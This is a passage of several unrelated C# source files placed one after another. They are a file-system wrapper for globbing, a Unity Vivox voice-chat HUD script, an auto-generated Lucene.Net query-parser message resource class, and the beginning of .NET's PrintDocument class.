$"Could not enumerate directories in the path '{dirInfo.FullName}' due to an exception",
e);
yield break;
}
foreach (string dirPath in subDirs)
{
var subDirInfo = new DirectoryInfo(dirPath);
if (_ignoreReparsePoints && (subDirInfo.Attributes & FileAttributes.ReparsePoint) != 0) { continue; }
yield return subDirInfo;
}
// Find the files
string[] filePaths;
try
{
filePaths = Directory.GetFiles(dirInfo.FullName, "*", SearchOption.TopDirectoryOnly);
}
catch (DirectoryNotFoundException e)
{
Logger.LogHandledException(
$"Could not enumerate files in the path '{dirInfo.FullName}' due to it being an invalid path",
e);
yield break;
}
catch (PathTooLongException e)
{
Logger.LogHandledException(
$"Could not enumerate files in the path '{dirInfo.FullName}' due to the path being too long",
e);
yield break;
}
catch (Exception e) when (e is SecurityException || e is UnauthorizedAccessException)
{
Logger.LogHandledException(
$"Could not enumerate files in the path '{dirInfo.FullName}' due to the path not being accessible",
e);
yield break;
}
catch (Exception e)
{
Logger.LogHandledException(
$"Could not enumerate files in the path '{dirInfo.FullName}' due to an exception",
e);
yield break;
}
foreach (string filePath in filePaths)
{
var fileInfo = new FileInfo(filePath);
if (_allowedExtensions == null || _allowedExtensions.Length == 0) { yield return fileInfo; continue; }
if (_ignoreReparsePoints && (fileInfo.Attributes & FileAttributes.ReparsePoint) != 0) { continue; }
foreach (string extension in _allowedExtensions)
{
if (fileInfo.Extension == extension) { yield return fileInfo; break; }
}
}
}
}
/// <summary>
/// Wraps an instance of <see cref="System.IO.DirectoryInfo" /> and provides implementation of
/// <see cref="Microsoft.Extensions.FileSystemGlobbing.Abstractions.DirectoryInfoBase" />.
/// Based on https://github.com/aspnet/Extensions/blob/c087cadf1dfdbd2b8785ef764e5ef58a1a7e5ed0/src/FileSystemGlobbing/src/Abstractions/DirectoryInfoWrapper.cs
/// </summary>
internal class WorkspaceFileSystemDirectoryWrapper : DirectoryInfoBase
{
private readonly DirectoryInfo _concreteDirectoryInfo;
private readonly bool _isParentPath;
private readonly WorkspaceFileSystemWrapperFactory _fsWrapperFactory;
private readonly int _depth;
/// <summary>
/// Initializes an instance of <see cref="WorkspaceFileSystemDirectoryWrapper" />.
/// </summary>
public WorkspaceFileSystemDirectoryWrapper(WorkspaceFileSystemWrapperFactory factory, DirectoryInfo directoryInfo, int depth)
{
_concreteDirectoryInfo = directoryInfo;
_isParentPath = (depth == 0);
_fsWrapperFactory = factory;
_depth = depth;
}
/// <inheritdoc />
public override IEnumerable<FileSystemInfoBase> EnumerateFileSystemInfos()
{
if (!_concreteDirectoryInfo.Exists || _depth >= _fsWrapperFactory.MaxRecursionDepth) { yield break; }
foreach (FileSystemInfo fileSystemInfo in _fsWrapperFactory.SafeEnumerateFileSystemInfos(_concreteDirectoryInfo))
{
switch (fileSystemInfo)
{
case DirectoryInfo dirInfo:
yield return _fsWrapperFactory.CreateDirectoryInfoWrapper(dirInfo, _depth + 1);
break;
case FileInfo fileInfo:
yield return _fsWrapperFactory.CreateFileInfoWrapper(fileInfo, _depth);
break;
default:
// We should NEVER get here, but if we do just continue on
break;
}
}
}
/// <summary>
/// Returns an instance of <see cref="DirectoryInfoBase" /> that represents a subdirectory.
/// </summary>
/// <remarks>
/// If <paramref name="name" /> equals '..', this returns the parent directory.
/// </remarks>
/// <param name="name">The directory name.</param>
/// <returns>The directory</returns>
public override DirectoryInfoBase GetDirectory(string name)
{
bool isParentPath = string.Equals(name, "..", StringComparison.Ordinal);
if (isParentPath) { return ParentDirectory; }
var dirs = _concreteDirectoryInfo.GetDirectories(name);
if (dirs.Length == 1) { return _fsWrapperFactory.CreateDirectoryInfoWrapper(dirs[0], _depth + 1); }
if (dirs.Length == 0) { return null; }
// This shouldn't happen. The parameter name isn't supposed to contain wild card.
throw new InvalidOperationException(
string.Format(
System.Globalization.CultureInfo.CurrentCulture,
"More than one sub directories are found under {0} with name {1}.",
_concreteDirectoryInfo.FullName, name));
}
/// <inheritdoc />
public override FileInfoBase GetFile(string name) => _fsWrapperFactory.CreateFileInfoWrapper(new FileInfo(Path.Combine(_concreteDirectoryInfo.FullName, name)), _depth);
/// <inheritdoc />
public override string Name => _isParentPath ? ".." : _concreteDirectoryInfo.Name;
/// <summary>
/// Returns the full path to the directory.
/// </summary>
public override string FullName => _concreteDirectoryInfo.FullName;
/// <summary>
/// Safely calculates the parent of this directory, swallowing most errors.
/// </summary>
private DirectoryInfoBase SafeParentDirectory()
{
try
{
return _fsWrapperFactory.CreateDirectoryInfoWrapper(_concreteDirectoryInfo.Parent, _depth - 1);
}
catch (DirectoryNotFoundException e)
{
_fsWrapperFactory.Logger.LogHandledException(
$"Could not get parent of '{_concreteDirectoryInfo.FullName}' due to it being an invalid path",
e);
}
catch (PathTooLongException e)
{
_fsWrapperFactory.Logger.LogHandledException(
$"Could not get parent of '{_concreteDirectoryInfo.FullName}' due to the path being too long",
e);
}
catch (Exception e) when (e is SecurityException || e is UnauthorizedAccessException)
{
_fsWrapperFactory.Logger.LogHandledException(
$"Could not get parent of '{_concreteDirectoryInfo.FullName}' due to the path not being accessible",
e);
}
catch (Exception e)
{
_fsWrapperFactory.Logger.LogHandledException(
$"Could not get parent of '{_concreteDirectoryInfo.FullName}' due to an exception",
e);
}
return null;
}
/// <summary>
/// Returns the parent directory. (Overrides <see cref="Microsoft.Extensions.FileSystemGlobbing.Abstractions.FileSystemInfoBase.ParentDirectory" />).
/// </summary>
public override DirectoryInfoBase ParentDirectory
{
get
{
return SafeParentDirectory();
}
}
}
/// <summary>
/// Wraps an instance of <see cref="System.IO.FileInfo" /> to provide implementation of <see cref="Microsoft.Extensions.FileSystemGlobbing.Abstractions.FileInfoBase" />.
/// </summary>
internal class WorkspaceFileSystemFileInfoWrapper : FileInfoBase
{
private readonly FileInfo _concreteFileInfo;
private readonly WorkspaceFileSystemWrapperFactory _fsWrapperFactory;
private readonly int _depth;
/// <summary>
/// Initializes instance of <see cref="FileInfoWrapper" /> to wrap the specified object <see cref="System.IO.FileInfo" />.
/// </summary>
public WorkspaceFileSystemFileInfoWrapper(WorkspaceFileSystemWrapperFactory factory, FileInfo fileInfo, int depth)
{
_fsWrapperFactory = factory;
_concreteFileInfo = fileInfo;
_depth = depth;
}
/// <summary>
/// The file name. (Overrides <see cref="Microsoft.Extensions.FileSystemGlobbing.Abstractions.FileSystemInfoBase.Name" />).
/// </summary>
public override string Name => _concreteFileInfo.Name;
/// <summary>
/// The full path of the file. (Overrides <see cref="Microsoft.Extensions.FileSystemGlobbing.Abstractions.FileSystemInfoBase.FullName" />).
/// </summary>
public override string FullName => _concreteFileInfo.FullName;
/// <summary>
/// Safely calculates the parent of this file, swallowing most errors.
/// </summary>
private DirectoryInfoBase SafeParentDirectory()
{
try
{
return _fsWrapperFactory.CreateDirectoryInfoWrapper(_concreteFileInfo.Directory, _depth);
}
catch (DirectoryNotFoundException e)
{
_fsWrapperFactory.Logger.LogHandledException(
$"Could not get parent of '{_concreteFileInfo.FullName}' due to it being an invalid path",
e);
}
catch (PathTooLongException e)
{
_fsWrapperFactory.Logger.LogHandledException(
$"Could not get parent of '{_concreteFileInfo.FullName}' due to the path being too long",
e);
}
catch (Exception e) when (e is SecurityException || e is UnauthorizedAccessException)
{
_fsWrapperFactory.Logger.LogHandledException(
$"Could not get parent of '{_concreteFileInfo.FullName}' due to the path not being accessible",
e);
}
catch (Exception e)
{
_fsWrapperFactory.Logger.LogHandledException(
$"Could not get parent of '{_concreteFileInfo.FullName}' due to an exception",
e);
}
return null;
}
/// <summary>
/// The directory containing the file. (Overrides <see cref="Microsoft.Extensions.FileSystemGlobbing.Abstractions.FileSystemInfoBase.ParentDirectory" />).
/// </summary>
public override DirectoryInfoBase ParentDirectory
{
get
{
return SafeParentDirectory();
}
}
}
}
| |
/* Copyright (c) 2009-11, ReactionGrid Inc. http://reactiongrid.com
* See License.txt for full licence information.
*
* VivoxHud2.cs Revision 1.4.1107.19
* VivoxHud for use with Jibe 1.x projects - not compatible with previous editions */
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using ReactionGrid.Jibe;
public class VivoxHud2 : MonoBehaviour
{
public GUISkin skin;
private bool hasVersionBeenChecked = false;
public NetworkController networkController;
private string myPlayerName = "";
public bool isReady = false;
public bool debugMode = false;
public string channelName = "sip:confctl-158@regp.vivox.com"; // Set to the Vivox channel for the current scene using the inspector
private List<VivoxPlayerNode> playerList = new List<VivoxPlayerNode>();
// Control network messages about voice
private float networkSpeechSyncBlock = 2.0f;
private float lastNetworkSend = 0.0f;
private JibePlayerVoice voiceStatus = JibePlayerVoice.None;
private JibePlayerVoice myCurrentVoiceState = JibePlayerVoice.None;
private bool micOpen = false;
public Texture2D toggleMicOnIcon;
public Texture2D toggleMicOffIcon;
private Rect micIconPosition;
private GUIStyle settingsIconStyle;
private ChatInput chatController;
public Mic micButton;//used to output debugs to the chatlog
private bool globallyMuted;
private bool locallyMuted;
// Called via broadcast from NetworkController - anything with this method signature within the Jibe or JibeGUI game object will be run as soon as a local player exists and the scene is ready
public void JibeInit()
{
if (!string.IsNullOrEmpty(channelName))
{
Debug.Log("Initializing Vivox");
ConnectVivox();
// micIconPosition = GameObject.Find("UIBase").GetComponent<UIBase>().GetMicIconPosition();
// Debug.Log("Mic Icon Position: " + micIconPosition);
// settingsIconStyle = GameObject.Find("UIBase").GetComponent<UIBase>().GetSettingsButtonStyle();
}
else
{
Debug.Log("Not configured for Vivox voice");
}
}
// Called via broadcast from NetworkController - anything with this method signature within the Jibe or JibeGUI game object will be run when a player requests to leave the current scene
public void JibeExit()
{
if (!string.IsNullOrEmpty(channelName))
{
Debug.Log("Disconnecting Vivox");
Logout();
}
else
{
Debug.Log("Not configured for Vivox voice");
}
}
public void ConnectVivox()
{
isReady = true;
myPlayerName = networkController.GetMyName();
Application.ExternalCall("VivoxUnityInit");
}
void Start()
{
if (networkController == null)
networkController = GameObject.FindGameObjectWithTag("NetworkController").GetComponent<NetworkController>();
if(chatController ==null)
{
// chatController= GameObject.Find("ChatBox").GetComponent<ChatInput>();
}
if(PlayerPrefs.HasKey("Group"))
{
}
}
public void Logout()
{
Application.ExternalCall("VivoxLogout", channelName);
}
/* void OnGUI()
{
if (isReady)
{
GUI.skin = skin;
if (debugMode)
{
// Debug messages showing who is connected to the voice channel - this is only for last resort debugging
// since this code is still relatively beta
GUILayout.BeginArea(new Rect(50, 50, 400, 400));
GUILayout.BeginVertical();
foreach (IJibePlayer player in networkController.GetAllUsers())
{
GUILayout.Label(player.Name + " " + player.Voice);
}
foreach (VivoxPlayerNode entry in playerList)
{
GUILayout.Label(entry.playerName + " " + entry.hasVoice + " " + entry.isSpeaking);
}
GUILayout.EndVertical();
GUILayout.EndArea();
}
/*if (settingsIconStyle != null)
{
if (GUI.Button(micIconPosition, !micOpen ? toggleMicOffIcon : toggleMicOnIcon, settingsIconStyle))
{
Debug.Log("Toggling microphone: " + micOpen);
Application.ExternalCall("VivoxMicMute", micOpen);
micOpen = !micOpen;
}
}*/
/* }
}*/
void FixedUpdate()
{
if (isReady)
{
lastNetworkSend += Time.deltaTime;
if (voiceStatus != myCurrentVoiceState && lastNetworkSend > networkSpeechSyncBlock)
{
voiceStatus = myCurrentVoiceState;
lastNetworkSend = 0.0f;
addMessage("Sending voice status: " + voiceStatus);
networkController.SetVoice(voiceStatus);
}
}
}
//called from vioxunity.js response when user logs in
void onVivoxLogin(string message)
{
addMessage(message);
addMessage("Creating Vivox voice channel (" + channelName + ").");
Application.ExternalCall("VivoxCreateChannel", channelName);
Application.ExternalCall("VivoxMicMute", micOpen);
}
//void onVivoxLogout()
//{
// netController.VivoxLogoutComplete();
//}
//called from vioxunity.js response when vivox voice object created
void onVersionCheck(string message)
{
string[] my_array = message.Split(":"[0]);
addMessage(my_array[1]);
if (my_array[0] == "0")
{
if (!hasVersionBeenChecked)
{
addMessage("Installing Vivox Voice plugin.");
Application.ExternalCall("VivoxInstall");
hasVersionBeenChecked = true;
}
}
}
//called from vioxunity.js response when participant joins channel
void VivoxParticipantAdded(string participant)
{
VivoxPlayerNode newEntry = new VivoxPlayerNode();
newEntry.hasVoice = true;
newEntry.isSpeaking = false;
newEntry.playerName = participant;
playerList.Add(newEntry);
}
//called from vioxunity.js response when participant leaves channel
void VivoxParticipantRemoved(string participant)
{
foreach (VivoxPlayerNode entry in playerList)
{
if (entry.playerName == participant)
{
addMessage(entry.playerName + " removed from Vivox Voice.");
playerList.Remove(entry);
break;
}
}
}
//called from vioxunity.js response when a participant is speaking
void VivoxParticipantIsSpeaking(string combo)
{
string[] my_array = combo.Split(":"[0]);
foreach (VivoxPlayerNode entry in playerList)
{
if (entry.playerName == my_array[0])
{
Debug.Log("Player: " + entry.playerName + " is speaking: " + my_array[1]);
if (entry.playerName == myPlayerName)
{
entry.isSpeaking = bool.Parse(my_array[1]);
if (entry.isSpeaking)
{
addMessage(entry.playerName + " is talking");
myCurrentVoiceState = JibePlayerVoice.IsSpeaking;
}
else
{
addMessage(entry.playerName + " is not talking");
myCurrentVoiceState = JibePlayerVoice.HasVoice;
}
}
}
}
}
//called from vioxunity.js response when channel is created
void onVivoxChannelCreate(string combo)
{
string[] my_array = combo.Split(":"[0]);
if (my_array[0] != "Error")
{
addMessage("Vivox channel created (" + combo + "). Joining channel.");
Application.ExternalCall("VivoxJoinChannel", combo, "0");
}
else
{
addMessage(combo);
}
}
//called from vioxunity.js response when vivox voice object is connected
void onVivoxConnected(string message)
{
Application.ExternalCall("VivoxLogin", myPlayerName);
lastNetworkSend = 0.0f;
networkController.SetVoice(JibePlayerVoice.HasVoice);
myCurrentVoiceState = JibePlayerVoice.HasVoice;
// micIconPosition = GameObject.Find("UIBase").GetComponent<UIBase>().GetMicIconPosition();
Debug.Log("Mic Icon Position: " + micIconPosition);
}
//adds message to the vivox messages hud
void addMessage(string message)
{
if (debugMode)
{
if (Application.platform == RuntimePlatform.WindowsWebPlayer || Application.platform == RuntimePlatform.OSXWebPlayer)
{
// for web player option, send debug message to hosting web page
Application.ExternalCall("DebugHistory", message);
}
}
}
public void SwitchToChannel(string newChannel)
{
if(!newChannel.Equals(channelName))
{
isReady=false;
Debug.Log("Switching Vivox Channel");
Application.ExternalCall("SwitchToChannel", newChannel);
}
}
public void UpdateCurrentChannel(string newChannel) //called from webpage after the channel has been switched
{
channelName=newChannel;
}
public void HandleMuting(bool isMuted)
{
Application.ExternalCall("HandleMuting", isMuted);
}
public void VivoxJoinedRoom(string doesntdoanything)
{
EnterNewZone.isReady=true;
Mic.UpdateMicStatus();
}
public void RemoteUserMute(Dictionary<string,string> data)
{
if(!networkController.isAdmin)
{
Debug.Log("My name: "+ networkController.localPlayer.Name);
Debug.Log("Their name: "+ networkController.localPlayer.Name);
if(!data.ContainsKey("UserName"))
{
Debug.Log("Toggling mute");
if(data["Mute"]=="True")
{
globallyMuted=true;
}
else
{
globallyMuted=false;
}
if(data["Mute"]=="True")
{
micButton.canUnMute=false;
micButton.Mute(true);
}
else if(!locallyMuted)
{
micButton.ResetSprite();
micButton.canUnMute=true;
}
}
else if(data["UserName"].Equals(networkController.localPlayer.Name))
{
if(data["Mute"]=="True")
{
locallyMuted=true;
}
else
{
locallyMuted=false;
}
if(data["Mute"]=="True")
{
micButton.canUnMute=false;
micButton.Mute(true);
}
else if(!globallyMuted)
{
micButton.ResetSprite();
micButton.canUnMute=true;
}
}
}
else
{
//admins cannot be muted, but their mute icons should be updated.
if(data.ContainsKey("ID"))
{
GameObject onlineUsers = GameObject.Find("OnlineUserParent");
for(int i=0; i<onlineUsers.transform.GetChildCount(); i++)
{
Transform targetOnlineUser = onlineUsers.transform.GetChild(i).FindChild(data["ID"]);
if(targetOnlineUser!=null)
{
targetOnlineUser.gameObject.BroadcastMessage("FakePress");
}
}
}
else
{
GameObject.Find("Global Mute").SendMessage("FakePress");
}
}
}
}
class VivoxPlayerNode
{
public string playerName;
public bool hasVoice = false;
public bool isSpeaking = false;
}
| |
/*
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*/
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Lucene.Net.QueryParsers.Flexible.Core.Messages {
using System;
using System.Reflection;
/// <summary>
/// A strongly-typed resource class, for looking up localized strings, etc.
/// </summary>
// This class was auto-generated by the StronglyTypedResourceBuilder
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class QueryParserMessagesBundle {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal QueryParserMessagesBundle() {
}
/// <summary>
/// Returns the cached ResourceManager instance used by this class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Lucene.Net.QueryParsers.Flexible.Core.Messages.QueryParserMessagesBundle", typeof(QueryParserMessagesBundle).GetTypeInfo().Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Overrides the current thread's CurrentUICulture property for all
/// resource lookups using this strongly typed resource class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
/// <summary>
/// Looks up a localized string similar to Could not parse text "{0}" using {1}.
/// </summary>
internal static string COULD_NOT_PARSE_NUMBER {
get {
return ResourceManager.GetString("COULD_NOT_PARSE_NUMBER", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to .
/// </summary>
internal static string EMPTY_MESSAGE {
get {
return ResourceManager.GetString("EMPTY_MESSAGE", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Syntax Error: {0}.
/// </summary>
internal static string INVALID_SYNTAX {
get {
return ResourceManager.GetString("INVALID_SYNTAX", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Syntax Error, cannot parse {0}: {1}.
/// </summary>
internal static string INVALID_SYNTAX_CANNOT_PARSE {
get {
return ResourceManager.GetString("INVALID_SYNTAX_CANNOT_PARSE", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Term can not end with escape character..
/// </summary>
internal static string INVALID_SYNTAX_ESCAPE_CHARACTER {
get {
return ResourceManager.GetString("INVALID_SYNTAX_ESCAPE_CHARACTER", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Non-hex character in Unicode escape sequence: {0}.
/// </summary>
internal static string INVALID_SYNTAX_ESCAPE_NONE_HEX_UNICODE {
get {
return ResourceManager.GetString("INVALID_SYNTAX_ESCAPE_NONE_HEX_UNICODE", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Truncated unicode escape sequence..
/// </summary>
internal static string INVALID_SYNTAX_ESCAPE_UNICODE_TRUNCATION {
get {
return ResourceManager.GetString("INVALID_SYNTAX_ESCAPE_UNICODE_TRUNCATION", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Fractional edit distances are not allowed..
/// </summary>
internal static string INVALID_SYNTAX_FUZZY_EDITS {
get {
return ResourceManager.GetString("INVALID_SYNTAX_FUZZY_EDITS", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to The similarity value for a fuzzy search must be between 0.0 and 1.0..
/// </summary>
internal static string INVALID_SYNTAX_FUZZY_LIMITS {
get {
return ResourceManager.GetString("INVALID_SYNTAX_FUZZY_LIMITS", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Leading wildcard is not allowed: {0}.
/// </summary>
internal static string LEADING_WILDCARD_NOT_ALLOWED {
get {
return ResourceManager.GetString("LEADING_WILDCARD_NOT_ALLOWED", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Cannot convert query to lucene syntax: {0} error: {1}.
/// </summary>
internal static string LUCENE_QUERY_CONVERSION_ERROR {
get {
return ResourceManager.GetString("LUCENE_QUERY_CONVERSION_ERROR", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to This node does not support this action..
/// </summary>
internal static string NODE_ACTION_NOT_SUPPORTED {
get {
return ResourceManager.GetString("NODE_ACTION_NOT_SUPPORTED", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Number class not supported by NumericRangeQueryNode: {0}.
/// </summary>
internal static string NUMBER_CLASS_NOT_SUPPORTED_BY_NUMERIC_RANGE_QUERY {
get {
return ResourceManager.GetString("NUMBER_CLASS_NOT_SUPPORTED_BY_NUMERIC_RANGE_QUERY", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Field "{0}" is numeric and cannot have an empty value..
/// </summary>
internal static string NUMERIC_CANNOT_BE_EMPTY {
get {
return ResourceManager.GetString("NUMERIC_CANNOT_BE_EMPTY", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Parameter {1} with value {0} not supported..
/// </summary>
internal static string PARAMETER_VALUE_NOT_SUPPORTED {
get {
return ResourceManager.GetString("PARAMETER_VALUE_NOT_SUPPORTED", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Too many boolean clauses, the maximum supported is {0}: {1}.
/// </summary>
internal static string TOO_MANY_BOOLEAN_CLAUSES {
get {
return ResourceManager.GetString("TOO_MANY_BOOLEAN_CLAUSES", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Unsupported NumericField.DataType: {0}.
/// </summary>
internal static string UNSUPPORTED_NUMERIC_DATA_TYPE {
get {
return ResourceManager.GetString("UNSUPPORTED_NUMERIC_DATA_TYPE", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Wildcard is not supported for query: {0}.
/// </summary>
internal static string WILDCARD_NOT_SUPPORTED {
get {
return ResourceManager.GetString("WILDCARD_NOT_SUPPORTED", resourceCulture);
}
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace System.Drawing.Printing
{
using System.ComponentModel;
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument"]/*' />
/// <devdoc>
/// <para>Defines a reusable object that sends output to the
/// printer.</para>
/// </devdoc>
[SRDescription(nameof(SR.PrintDocumentDesc))]
public class PrintDocument : Component
{
private string _documentName = "document";
private PrintEventHandler _beginPrintHandler;
private PrintEventHandler _endPrintHandler;
private PrintPageEventHandler _printPageHandler;
private QueryPageSettingsEventHandler _queryHandler;
private PrinterSettings _printerSettings = new PrinterSettings();
private PageSettings _defaultPageSettings;
private PrintController _printController;
private bool _originAtMargins;
private bool _userSetPageSettings;
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.PrintDocument"]/*' />
/// <devdoc>
/// <para>Initializes a new instance of the <see cref='System.Drawing.Printing.PrintDocument'/>
/// class.</para>
/// </devdoc>
public PrintDocument()
{
_defaultPageSettings = new PageSettings(_printerSettings);
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.DefaultPageSettings"]/*' />
/// <devdoc>
/// <para>Gets or sets the
/// default
/// page settings for the document being printed.</para>
/// </devdoc>
[
Browsable(false),
DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden),
SRDescription(nameof(SR.PDOCdocumentPageSettingsDescr))
]
public PageSettings DefaultPageSettings
{
get { return _defaultPageSettings; }
set
{
if (value == null)
value = new PageSettings();
_defaultPageSettings = value;
_userSetPageSettings = true;
}
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.DocumentName"]/*' />
/// <devdoc>
/// <para>Gets or sets the name to display to the user while printing the document;
/// for example, in a print status dialog or a printer
/// queue.</para>
/// </devdoc>
[
DefaultValue("document"),
SRDescription(nameof(SR.PDOCdocumentNameDescr))
]
public string DocumentName
{
get { return _documentName; }
set
{
if (value == null)
value = "";
_documentName = value;
}
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.OriginAtMargins"]/*' />
// If true, positions the origin of the graphics object
// associated with the page at the point just inside
// the user-specified margins of the page.
// If false, the graphics origin is at the top-left
// corner of the printable area of the page.
//
[
DefaultValue(false),
SRDescription(nameof(SR.PDOCoriginAtMarginsDescr))
]
public bool OriginAtMargins
{
get
{
return _originAtMargins;
}
set
{
_originAtMargins = value;
}
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.PrintController"]/*' />
/// <devdoc>
/// <para>Gets or sets the <see cref='System.Drawing.Printing.PrintController'/>
/// that guides the printing process.</para>
/// </devdoc>
[
Browsable(false),
DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden),
SRDescription(nameof(SR.PDOCprintControllerDescr))
]
public PrintController PrintController
{
get
{
if (_printController == null)
{
_printController = new StandardPrintController();
}
return _printController;
}
set
{
_printController = value;
}
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.PrinterSettings"]/*' />
/// <devdoc>
/// <para> Gets or sets the printer on which the
/// document is printed.</para>
/// </devdoc>
[
Browsable(false),
DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden),
SRDescription(nameof(SR.PDOCprinterSettingsDescr))
]
public PrinterSettings PrinterSettings
{
get { return _printerSettings; }
set
{
if (value == null)
value = new PrinterSettings();
_printerSettings = value;
// reset the PageSettings that match the PrinterSettings only if we have created the defaultPageSettings..
if (!_userSetPageSettings)
{
_defaultPageSettings = _printerSettings.DefaultPageSettings;
}
}
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.BeginPrint"]/*' />
/// <devdoc>
/// <para>Occurs when the <see cref='System.Drawing.Printing.PrintDocument.Print'/> method is called, before
/// the
/// first page prints.</para>
/// </devdoc>
[SRDescription(nameof(SR.PDOCbeginPrintDescr))]
public event PrintEventHandler BeginPrint
{
add
{
_beginPrintHandler += value;
}
remove
{
_beginPrintHandler -= value;
}
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.EndPrint"]/*' />
/// <devdoc>
/// <para>Occurs when <see cref='System.Drawing.Printing.PrintDocument.Print'/> is
/// called, after the last page is printed.</para>
/// </devdoc>
[SRDescription(nameof(SR.PDOCendPrintDescr))]
public event PrintEventHandler EndPrint
{
add
{
_endPrintHandler += value;
}
remove
{
_endPrintHandler -= value;
}
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.PrintPage"]/*' />
/// <devdoc>
/// <para>Occurs when a page is printed. </para>
/// </devdoc>
[SRDescription(nameof(SR.PDOCprintPageDescr))]
public event PrintPageEventHandler PrintPage
{
add
{
_printPageHandler += value;
}
remove
{
_printPageHandler -= value;
}
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.QueryPageSettings"]/*' />
/// <devdoc>
/// <para>Occurs</para>
/// </devdoc>
[SRDescription(nameof(SR.PDOCqueryPageSettingsDescr))]
public event QueryPageSettingsEventHandler QueryPageSettings
{
add
{
_queryHandler += value;
}
remove
{
_queryHandler -= value;
}
}
internal void _OnBeginPrint(PrintEventArgs e)
{
OnBeginPrint(e);
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.OnBeginPrint"]/*' />
/// <devdoc>
/// <para>Raises the <see cref='E:System.Drawing.Printing.PrintDocument.BeginPrint'/>
/// event.</para>
/// </devdoc>
protected virtual void OnBeginPrint(PrintEventArgs e)
{
if (_beginPrintHandler != null)
_beginPrintHandler(this, e);
}
internal void _OnEndPrint(PrintEventArgs e)
{
OnEndPrint(e);
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.OnEndPrint"]/*' />
/// <devdoc>
/// <para>Raises the <see cref='E:System.Drawing.Printing.PrintDocument.EndPrint'/>
/// event.</para>
/// </devdoc>
protected virtual void OnEndPrint(PrintEventArgs e)
{
if (_endPrintHandler != null)
_endPrintHandler(this, e);
}
internal void _OnPrintPage(PrintPageEventArgs e)
{
OnPrintPage(e);
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.OnPrintPage"]/*' />
/// <devdoc>
/// <para>Raises the <see cref='E:System.Drawing.Printing.PrintDocument.PrintPage'/>
/// event.</para>
/// </devdoc>
protected virtual void OnPrintPage(PrintPageEventArgs e)
{
if (_printPageHandler != null)
_printPageHandler(this, e);
}
internal void _OnQueryPageSettings(QueryPageSettingsEventArgs e)
{
OnQueryPageSettings(e);
}
/// <include file='doc\PrintDocument.uex' path='docs/doc[@for="PrintDocument.OnQueryPageSettings"]/*' />
/// <devdoc>
/// <para>Raises the <see cref='E:System.Drawing.Printing.PrintDocument.QueryPageSettings'/> event.</para>
/// </devdoc>
